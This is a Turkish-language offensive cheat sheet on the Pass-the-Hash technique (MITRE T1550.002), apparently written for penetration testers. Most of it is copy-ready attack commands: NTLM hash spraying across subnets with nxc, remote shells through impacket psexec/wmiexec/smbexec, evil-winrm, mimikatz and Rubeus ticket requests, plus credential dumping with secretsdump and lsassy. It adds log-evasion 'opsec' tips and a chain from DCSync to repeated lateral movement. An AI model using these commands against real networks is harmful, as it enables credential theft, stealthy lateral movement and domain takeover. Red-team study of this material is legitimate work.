Pass-the-Hash

MITRE ATT&CK · T1550.002 phase: lateral movement

MITRE ATT&CK · T1550.002 phase: lateral movement

Pass-the-Hash (PtH), NTLM kimlik doğrulamasında parolanın açık haline gerek olmamasından yararlanır: kullanıcının NT hash’i doğrudan challenge/response hesabında kullanılır. Hash kırılmadan, hash’in geçerli olduğu tüm sistemlere (domain veya local) erişilebilir.

Ön koşul

- NT hash: LSASS, SAM, DCSync, NTDS, VSS secretsdump
- Hedefte NTLM kabul (Kerberos-only policy yok)
- Domain: hesap kilitli/disabled değil
- Local: aynı local admin hash (image reuse)

Format: -hashes :NTHASH   veya  -H :NTHASH

Komut üreteci

⚡

Pass-the-Hash · psexec

embedded tool

DomainUserLM hashNT hashTarget

Generated commandcopy

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.5

Pass-the-Hash · psexec

Sömürü

1. Erişimi doğrula / spray hash :

   nxc smb 10.10.10.0/24 -u Administrator -H :NTHASH

   nxc smb 10.10.10.0/24 -u Administrator -H :NTHASH --local-auth

   nxc smb 10.10.10.0/24 -u 'domain.local\admin' -H :NTHASH

2. Komut çalıştır / shell :

   impacket-psexec -hashes :NTHASH domain.local/Administrator@10.10.10.20

   impacket-wmiexec -hashes :NTHASH domain.local/Administrator@10.10.10.20

   impacket-smbexec -hashes :NTHASH domain.local/Administrator@10.10.10.20

   impacket-atexec -hashes :NTHASH domain.local/Administrator@10.10.10.20 'whoami'

   impacket-dcomexec -hashes :NTHASH domain.local/Administrator@10.10.10.20

   evil-winrm -i 10.10.10.20 -u Administrator -H NTHASH

   nxc smb 10.10.10.20 -u Administrator -H :NTHASH -x 'whoami /all'

   nxc winrm 10.10.10.20 -u Administrator -H :NTHASH -x 'hostname'

3. Yayıl — yeni host’ta LSASS / SAM / LAPS → yeni hash → tekrar 1.

mimikatz / Windows native

sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:NTHASH /run:cmd.exe

xfreerdp /u:Administrator /d:domain.local /pth:NTHASH /v:10.10.10.20

Over-Pass-the-Hash (hash → Kerberos TGT)

impacket-getTGT domain.local/Administrator -hashes :NTHASH

export KRB5CCNAME=Administrator.ccache

impacket-psexec -k -no-pass domain.local/Administrator@dc01.domain.local

Rubeus.exe asktgt /user:Administrator /rc4:NTHASH /ptt

Rubeus.exe asktgt /user:Administrator /aes256:AESKEY /ptt

NTLM kapalı segmentlerde kritik; Pass-the-Ticket dünyasına geçiş.

Local vs domain hash

Senaryo	Bayrak	Not
Domain account	-u user -H :hash	DC’ye authenticate
Local Administrator	–local-auth	RID 500 reuse
Machine account	USER$ + machine NT	Silver daha uygun

Opsec (ofansif)

□ Geniş /24 spray → 4624/4625; önce AdminTo daralt
□ wmiexec/smbexec genelde psexec’ten daha az servis artefaktı
□ Over-PtH ile Kerberos → NTLM log azalabilir
□ Öncelik: DC, CA, SCCM, backup

Yaygın tuzaklar

□ -hashes NT (baştaki : yok) → LM parse hatası
□ Local auth unutulunca domain’e gider
□ LAPS ile local admin adı farklı
□ NTLM disabled → Over-PtH
□ Protected Users → ticket gerekir

Saldırı zinciri

DCSync → Domain Admin NT
  → nxc smb /24 -H → Pwn3d listesi
  → wmiexec → LSASS on jump host
  → yeni hash → devam

Hash kaynakları (hatırlatma)

nxc smb HOST -u user -H :HASH --local-auth -M lsassy

impacket-secretsdump -sam sam.save -system system.save LOCAL

impacket-secretsdump domain.local/da:'Pass'@DC -just-dc-ntlm

nxc ldap DC -u user -p pass -M get-desc-users  # veya laps modülü

Sonraki adımlar

Exec methods · Pass-the-Ticket · LSASS Dumping